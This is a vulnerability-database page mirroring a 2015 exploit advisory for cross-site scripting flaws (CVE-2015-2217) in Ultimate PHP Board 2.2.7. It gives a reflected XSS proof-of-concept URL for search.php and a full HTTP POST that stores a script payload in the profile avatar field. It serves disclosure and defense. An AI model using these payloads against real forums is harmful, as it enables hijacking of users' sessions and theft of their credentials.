Lucene search
K

Ultimate PHP Board (UPB) 2.2.7 Cross Site Scripting

🗓️ 05 Mar 2015 00:00:00Reported by CWH UndergroundType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 247 Views

Ultimate PHP Board (UPB) 2.2.7 Cross Site Scripting Vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Ultimate PHP Board (UPB) 2.2.7 Cross Site Scripting Vulnerability
7 Mar 201500:00
zdt
CNVD
Ultimate PHP Board (UPB) Cross-Site Scripting Vulnerability
10 Mar 201500:00
cnvd
CVE
CVE-2015-2217
10 Mar 201514:00
cve
Cvelist
CVE-2015-2217
10 Mar 201514:00
cvelist
EUVD
EUVD-2015-2324
7 Oct 202500:30
euvd
NVD
CVE-2015-2217
10 Mar 201514:59
nvd
OpenVAS
PHP Board <= 2.2.7 Multiple XSS Vulnerabilities
14 Mar 201500:00
openvas
Prion
Cross site scripting
10 Mar 201514:59
prion
`# Exploit Title : Ultimate PHP Board (UPB) 2.2.7 Cross Site Scripting Vulnerability  
# CVE : CVE-2015-2217  
# Date : 4 March 2015  
# Exploit Author : CWH Underground  
# Discovered By : ZeQ3uL  
# Site : www.2600.in.th  
# Vendor Homepage : http://www.myupb.com  
# Software Link : http://downloads.sourceforge.net/project/textmb/UPB/UPB%202.2.7/upb2.2.7.zip  
# Version : 2.2.7  
  
,--^----------,--------,-----,-------^--,  
| ||||||||| `--------' | O .. CWH Underground ..  
`+---------------------------^----------|  
`\_,-------, _________________________|  
/ XXXXXX /`| /  
/ XXXXXX / `\ /  
/ XXXXXX /\______(  
/ XXXXXX /   
/ XXXXXX /  
(________(   
`------'  
  
####################  
SOFTWARE DESCRIPTION  
####################  
  
Ultimate PHP Board is completely text based making it easy for anybody who has access to PHP can run a message board of their own without the need for MySQL.  
  
####################################  
DESCRIPTION FOR CROSS SITE SCRIPTING  
####################################  
  
myUPB is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.  
  
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.   
This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.  
  
myUPB 2.2.7 is vulnerable; other versions may also be affected.  
  
####################  
VULNERABILITY DETAIL  
####################  
  
1. Reflect Cross Site Scripting (search.php)  
POC:   
/search.php?q='><script>alert(1)</script>  
  
2. Stored Cross Site Scripting (profile.php)   
POC:  
POST /upb/profile.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: th-th,th;q=0.8,en-us;q=0.6,en-gb;q=0.4,en;q=0.2  
Accept-Encoding: gzip, deflate  
Referer: http://localhost/upb/profile.php  
Cookie: timezone=0; lastvisit=1425552811; user_env=test; uniquekey_env=8806b913721aaf992f09134c89031d58; power_env=1; id_env=2; PHPSESSID=5jjiir5d83mbqh2s7da0gckd97  
Connection: keep-alive  
Content-Type: multipart/form-data; boundary=---------------------------287611866431947  
Content-Length: 716  
-----------------------------287611866431947  
Content-Disposition: form-data; name="u_email"  
[email protected]  
-----------------------------287611866431947  
Content-Disposition: form-data; name="u_loca"  
th  
-----------------------------287611866431947  
Content-Disposition: form-data; name="avatar"  
images/avatars/chic.jpg'><script>alert("hacked");</script>  
-----------------------------287611866431947  
Content-Disposition: form-data; name="u_site"  
http://  
-----------------------------287611866431947  
Content-Disposition: form-data; name="u_timezone"  
0  
-----------------------------287611866431947  
Content-Disposition: form-data; name="u_edit"  
Submit  
-----------------------------287611866431947--  
  
################################################################################################################  
Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2  
################################################################################################################  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation